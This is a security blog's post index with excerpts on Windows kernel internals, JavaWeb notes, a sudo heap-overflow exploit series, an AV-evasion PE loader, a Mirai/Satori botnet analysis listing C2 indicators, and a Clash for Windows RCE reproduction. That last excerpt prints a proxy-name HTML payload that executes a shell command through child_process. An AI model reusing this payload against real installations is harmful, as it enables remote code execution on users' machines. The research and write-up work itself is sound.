【win内核原理与实现】II. 进程与线程
Windows中进程与线程的设置 关于进程与线程 操作系统“复习” 在学习操作系统的时候,有个重点就是进程与线程的区别。最开始进程和线程是没有分开的,由于多数操作系统分开了用户态和内核态,那么用户态就必须和内核态进行交互才能调用系统资源(通过IOCTL交互)。这样每一个进程在内核当中都有一个“进程描述符”的东西来描述这个进程,并根据调度算法完成进程的运行。这里就假设一个进程test.exe调用了0x40大小的内存空间,在只有进程的时候,进程描述符中就会标记这个内存被这个进程使用,同时指令和运行都在其中。 这样有个问题就是,我需要两个这种“进程”来运行,且他们需要的恰好是同一块内存的相同数据,如果只有进程的话,就会存在两个0x40的内存,同时造成不必要的复制粘贴。随后就有了线程这个概念,比如面对上述情况,进程就只含有一个0x40大小的内存,对内存的访问就交给这个线程对应的进程。 进程和程序 Windows的任务调度算法可以很好地适应多处理器和多任务的情形,在windows中的进程也遵守上述的准则。对于Windows内核需要做的事情是:维护一个全局的进程表,记录下...
【免杀】内存加载PE文件
使用windows API编写PE文件加载器(Loader) 目前支支持32位 PE文件结构 在《逆向工程核心原理》中讲的已经很详细了,这里主要面向32位的可执行程序来讲解。 DOS头和PE头统称为PE头,下面的部分称之为PE体。 DOS头 DOS头的文件结构 typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header WORD e_magic; // Magic number WORD e_cblp; // 文件最后一页的字节数 WORD e_cp; // 文件中的页数 WORD e_crlc; // 重定位 WORD e_cparhdr; // 段中头大小 WORD e_minalloc; // 需要最少的...
【Muud开发】2.HTTP服务改善
从0到1开发一个勉强能用的python web“框架” 项目地址:https://github.com/Joe1sn/muud 主要改进 6-1 返回报文设置 首先将原来的拼接字符串改为了Response类,实现HTTP报文字段的自定义 这样可以大大简化view.py中的代码 class Response(): def __init__(self, type="json", status_code=200, reply="") -> None: self.content_type = content_types[type] self.status_code = status_code if type == "json": self.reply = json.dumps(reply, ensure_ascii=False).encode('unicode_escape')....
【Muud开发】1.基础结构解析
从0到1开发一个勉强能用的python web“框架” 项目地址:https://github.com/Joe1sn/muud 简单介绍 在毕业设计的时候,初始选题为《基于XMPP的即时通讯系统》,想的是自己照着RFC写一遍XMPP协议,但是时间不够(毕竟要上班)。所以把废案再利用,抽出其中的一些部分,从Socket到web框架,实现一个简单的CURD功能,锻炼一下自己的文档化编程能力。受我个人能力有限会随时断更,一路上只有vscode和chatGPT以及所需要的RFC文档。 再说说已实现的部分,首先是确定在Linux上运行的,使用python语言 使用epoll模型完成了部分HTTP服务器的功能 sqlalchemy完成了数据库的ORM实现 路由通过闭包完成 视图部分编写(只考虑JSON传递) 启动部分参考了Django的设计 最后运行的效果 需求分析 根据ChatGPT,一个典型的Python Web框架通常由以下几个核心组件组成: 路由(Routing):路由用于将传入的HTTP请求映射到相应的处理程序或视图函数上。...
【win内核原理与实现】I. Windows系统结构
Windows系统结构还有引导过程 I.a 大致结构 windows内核是从windows NT内核发展过来的,从开始就和硬件的发展息息相关。 Windows采用双模式(dual mode)结构来保护操作系统内核不受应用程序的错误而出现崩溃 windows的原始设计是一个支持多环境子系统的os,它还支持POSIX和OS/2环境子系统.为他们提供仿真执行环境 I.b windows内核组成结构 关于函数的开头 nt:内核提供的服务 Ldr:映像加载器函数 Csr:Windows子进程通讯函数 Dbg:调试函数 Etw:系统时间函数 Rtl:运行支持函数 执行体API函数接收的参数来自各种应用程序,通常会在程序的最开始处,对所接受的参数逐一探查他们的可访问性。 II. windows内核关键组件 HAL 硬件抽象层 HAL通常是一个独立的动态链接库,windows自身携带多种HAL,但是在系统安装的时候只会选择一种,改名为hal.dll。涉及中断控制器、单处理器/多处理器硬件断点。 内核(微内核) 在内核模块ntoskrnl.exe中的上层部分为执行体,下层最接近...
Mirai Botnet分支Satori分析
暂时先更新这么多,后面应该还有相关作者被抓的一些消息和更多功能的逆向 基本情况 名称 x86_64 MD5 fe7ca3b588e342f79c7814bb75dc24d7 SHA256 e436196f047741070c580695f5444e0c2cdd175c88f68affdc9230d09a71c978 Domain botnet.nguyennghi.info ip 103.183.118.73 逆向分析 基本情况 64位ELF可执行文件 逆向工程 通过start找到main函数 使用IDApython脚本对类似的库函数实现进行函数重命名 import idautilsimport idaapiimport ida_nameimport idcfor func_ea in idautils.Functions(): func = idaapi.get_func(func_ea) name = idaapi.get_func_name(func_ea) for head in idautils...
windows内核驱动 2-页表探索
探索CR4 探索页面 CR3寄存器于页遍历 虚拟地址->物理地址 [驱动开发]探索CR4 英特尔® 64 位和 IA-32 架构开发人员手册合订本 第3卷第四章第五小节《4-LEVEL PAGING AND 5-LEVEL PAGING》 判断CPU是四级分页还是五级分页 page: 3074 该寄存器的值决定了映射层级是4/5, 1:5级分页 0:4级分页 //__readcr4() & 0x1000//__readcr4() & (1<<12)CR4 Cr4 = { .Value = __readcr4() };DbgPrint("CR4=0x%016I64X, CR4.LA57=%I64d\n", Cr4.Value, Cr4.Fields.LA57);if (Cr4.Fields.LA57) DbgPrint("The system using 5 Level Paging");else DbgPrint("The system u...
windows内核驱动 1-环境搭建
简而言之就是 visual stdio 2019 windows SDK windows WDK 如果vs没有kernel的项目的模板,找到vs目录的WDK.vsix即可 关于调试 windbg调试器 同时windows 虚拟机我使用的是 vmware,添加了一个COM串口 加载驱动 使用KmdKit windows设置 msconfig -> 调试 -> COM2 … 最简单的hello world 打开vs,找到KMDF (kernel mode driver empty) 设置驱动项目 取消晚上12点后编译报错 项目 -> 属性 -> Inf2Cat -> Use Local Time 代码 main.c #include <ntifs.h>// 驱动卸载函数VOIDDriverUnload(PDRIVER_OBJECT DriverObject){ UNREFERENCED_PARAMETER(DriverObject); DbgPrint("Bye\n"...
操作系统实现-合集1
代码来源:https://github.com/StevenBaby/onix 相关课程:https://www.bilibili.com/video/BV1gR4y1u7or 感谢B站UP:踌躇月光 带来的相关代码和教程 后来觉得操作系统从0到1这样学是一个非常蠢得概念,因为每个人学习他应该是有重点地。对系统有个基础的认知后,就该去精通自己要专注的方向,比如内存管理、网络协议等 也有可能你只是为了面试,但是面试也是有重点的对吧 所以把之前的文章做一个合集,喜欢在认识系统后再在方面创造子系统 [操作系统实现]基础篇 CPU中的段寄存器 CS (Code Segment Register):代码段的段基址 DS(Data Segment Register):数据段的段基址 ES(Extra Segment Register):其值为附加数据段的段基值,称为“附加”是因为此段寄存器用途不像其他 sreg 那样固定,可以额外做他用。 FS(Extra Segment Register):其值为附加数据段的段基值 GS:同上 SS(Stack Segment Register):堆...
密码朋克:一份密码朋克宣言
为何自由与隐私如此重要 译文 一份密码朋克宣言 Eric Hughes著 Joe1sn渣译 隐私在电子时代对于一个开放的社会是必要的。隐私不是保密。隐私是一个人不想让全世界知道,但是保密是一个人不想让全任何人知道。隐私是一个人对这个世界选择性表达自我的权力。 如果双方有某种交易,那么每一方都有他们互动的记忆。 每一方都可以谈论他们自己对此的记忆; 谁能阻止这发生?人们可以通过法律反对它,但是对于言论自由甚至比隐私更加重要,这是开放社会的基础。如果多方在同一个论坛上共同发言,则每一方都可以与其他所有方共同对话,并将个体的和其他只是汇总在一起。电子通信的力量已经使这种讲话称为可能,它不会仅仅因为我们可能想要它而消失。 既然我们渴望隐私,我们必须确保交易的每方只有直接与该交易相关的必要的信息。鉴于所有信息都能被表达出,我们必须确保尽可能少地透露无关信息。对于大多数例子中的个人标识(ID)的需要并不是十分突出。当我们在商店中购买一本杂志并付款给店员时,并没有必要知道我是谁。当我让我的电子邮箱提供方收发邮件时,我的提供方不需要知道谁与我对话或者我和其他人说了些什么。我的提供方只...
windbg调试入门笔记
准备点windows基础功 安装与配置 1.版本 WinDbg一般分为x86和x64,具体由调试os平台(Host)和被调试程序类型决定 x86-based Host Computer x86处理器平台上调试所有程序都使用该版本 x64-based Host Computer 分析DUMP文件:若文件是在windows XP及更新的版本生成的,则两者都可;若Windows2000及更早的版本就只能使用x86版本的WinDbg 双机调试 对于WindowsXP及其更新的系统windbg会自动适应,更老的只能使用x86版本 用户态 x64版本程序只能使用x64版本,x86版本程序则是两者皆可 2.工作空间 每调试一个程序,会涉及到要使用的参数、配置等信息,WinDBG会使用Workspace来保存这些信息,可以理解为项目文件 3.调试符号 最经典的就是使用IDA反汇编的时候,如果文件没有调试符号信息,那么函数就会被命名为sub_startaddr这样。所以在调试的时候这些信息会大大帮助我们理解程序 windows的就是PDB文件...
SUDO堆溢出提权:从fuzz到exp [3]
前文:https://blog.joe1sn.top/2022/01/04/CVE-2021-3156/ 受到youtuber:LiveOverflow的系列教程的启发,我发现在中文互联网上并没有相关的翻译教程,所以我想以实验报告的形式来创造这个从fuzz到exp的系列图文教程 原始视频合集:https://www.youtube.com/watch?v=uj1FTiczJSE&list=PLhixgUqwRTjy0gMuT4C3bmjeZjuNQyqdx 原始Blog:https://liveoverflow.com/why-pick-sudo-research-target-part-1/ 原作者代码仓库:https://github.com/LiveOverflow/pwnedit My previous blog: https://blog.joe1sn.top/2022/01/04/CVE-2021-3156/ I was inspired by the LiveOverflow’s Sudo Vulnerability Walkthrough on you...
SUDO堆溢出提权:从fuzz到exp [2]
前文:https://blog.joe1sn.top/2022/01/04/CVE-2021-3156/ 受到youtuber:LiveOverflow的系列教程的启发,我发现在中文互联网上并没有相关的翻译教程,所以我想以实验报告的形式来创造这个从fuzz到exp的系列图文教程 原始视频合集:https://www.youtube.com/watch?v=uj1FTiczJSE&list=PLhixgUqwRTjy0gMuT4C3bmjeZjuNQyqdx 原始Blog:https://liveoverflow.com/why-pick-sudo-research-target-part-1/ 原作者代码仓库:https://github.com/LiveOverflow/pwnedit My previous blog: https://blog.joe1sn.top/2022/01/04/CVE-2021-3156/ I was inspired by the LiveOverflow’s Sudo Vulnerability Walkthrough on you...
SUDO堆溢出提权:从fuzz到exp [1]
前文:https://blog.joe1sn.top/2022/01/04/CVE-2021-3156/ 受到youtuber:LiveOverflow的系列教程的启发,我发现在中文互联网上并没有相关的翻译教程,所以我想以实验报告的形式来创造这个从fuzz到exp的系列图文教程 原始视频合集:https://www.youtube.com/watch?v=uj1FTiczJSE&list=PLhixgUqwRTjy0gMuT4C3bmjeZjuNQyqdx 原始Blog:https://liveoverflow.com/why-pick-sudo-research-target-part-1/ 原作者代码仓库:https://github.com/LiveOverflow/pwnedit My previous blog: https://blog.joe1sn.top/2022/01/04/CVE-2021-3156/ I was inspired by the LiveOverflow’s Sudo Vulnerability Walkthrough on you...
【漏洞复现】clash <v0.19.8 rce
影响版本 Windows v0.19.9版本以下 漏洞复现 漏洞程序连接: https://github.com/Fndroid/clash_for_windows_pkg/releases poc.yaml port: 7890socks-port: 7891allow-lan: truemode: Rulelog-level: infoexternal-controller: :9090proxies: - name: a<img/src="1"/onerror=eval(`require("child_process").exec("calc.exe");`);> type: socks5 server: 127.0.0.1 port: "17938" skip-cert-verify: true - name: abc type: socks5 server: 127.0.0.1 port: "8088" ...
【漏洞复现】CVE-2022-22965 Spring4Shell复现与调试
wayback没有镜像,自己备份的md找不到了,只有PDF存档 https://joe1sn.top/spring4shell.pdf
JavaWeb笔记-JDBC
基本概念 快速入门 对JDBC中各个接口和类详解 JDBC概念 **概念:**Java DataBase Connectivity ,Java数据库连接 本质(类似Django的ORM):The sun公司定义的一套操作所有关系型数据库的规则(接口)。各个厂家根据接口去实现。我们可以是有这套接口编程,真正的驱动时jar包中的实现类 快速入门 简单步骤 导入驱动jar包 注册驱动 数据库连接对象Connection 定义sql 获取执行SQL语句的Statement对象 执行sql,接受返回结果 处理结果 释放资源 简单使用 package learn.jdbc;import java.sql.Connection;import java.sql.DriverManager;import java.sql.Statement;/*JDBC快速入门 */public class JdbcDemo1 { public static void main(String[] args) throws Exception { //1....
JavaWeb笔记-数据库
SQL分类 数据查询语言(DQL) 数据查询语言(Data Query Language, DQL)是SQL语言中,负责进行数据查询而不会对数据本身进行修改的语句,这是最基本的SQL语句。保留字SELECT是DQL(也是所有SQL)用得最多的动词,其他DQL常用的保留字有FROM,WHERE,GROUP BY,HAVING和ORDER BY。这些DQL保留字常与其他类型的SQL语句一起使用。 数据定义语言(DDL)(CRUD) 数据定义语言 (Data Definition Language, DDL) 是SQL语言集中,负责数据结构定义与数据库对象定义的语言,由CREATE、ALTER与DROP三个语法所组成,最早是由 Codasyl (Conference on Data Systems Languages) 数据模型开始,现在被纳入 SQL 指令中作为其中一个子集。 数据操纵语言(DML) 数据操纵语言(Data Manipulation Language, DML)是SQL语言中,负责对数据库对象运行数据访问工作的指令集,以INSERT、UPDATE、DE...
JavaWeb笔记-注解
注释部分 注解 概念:说明程序。For计算机 从JDK1.5开始,Java增加对元数据的支持,也就是注解,注解与注释是有一定区别的,可以把注解理解为代码里的特殊标记,这些标记可以在编译,类加载,运行时被读取,并执行相应的处理。通过注解开发人员可以在不改变原有代码和逻辑的情况下在源代码中嵌入补充信息。 注释:用文字描述程序。For程序员 作用 编写文档:标识生成doc文档 package LearnJunit.annotation;/** * 注解 java doc演示 * @since 1.5 * @author joe1sn * @version 1.0 */public class AnnoDemo1 { //计算两数之和 public int add(int a, int b){ return a+b; }} javadoc AnnoDemo1.java -encoding UTF-8 -charset UTF-8 正在加载源文件AnnoDemo1.java...正在构造 Java...
JavaWeb笔记-Junit与反射
Junit单元测试与反射 黑盒-白盒 junit使用:白盒测试 步骤: 定义一个测试类 测试类名:被测试类+Test CalculatorTest 包名:xxx.xxx.xxx.test 定义测试方法:可以独立执行,建议 方法名:test测试方法名 testAdd() 返回值:void(独立运行) 参数列表:空参 方法+@test注解 导入Junit依赖环境 package test;import junit.Calculator;import org.junit.Test;public class CalculatorTest { //测试add方法 @Test public void testAdd(){ //System.out.printf("Excuted"); //创建计算器对象 Calculator c = new Calculator(); //2.调用add方法 int result = c.add(1,2); ...






![SUDO堆溢出提权:从fuzz到exp [3]](/img/sudofuzz.png)





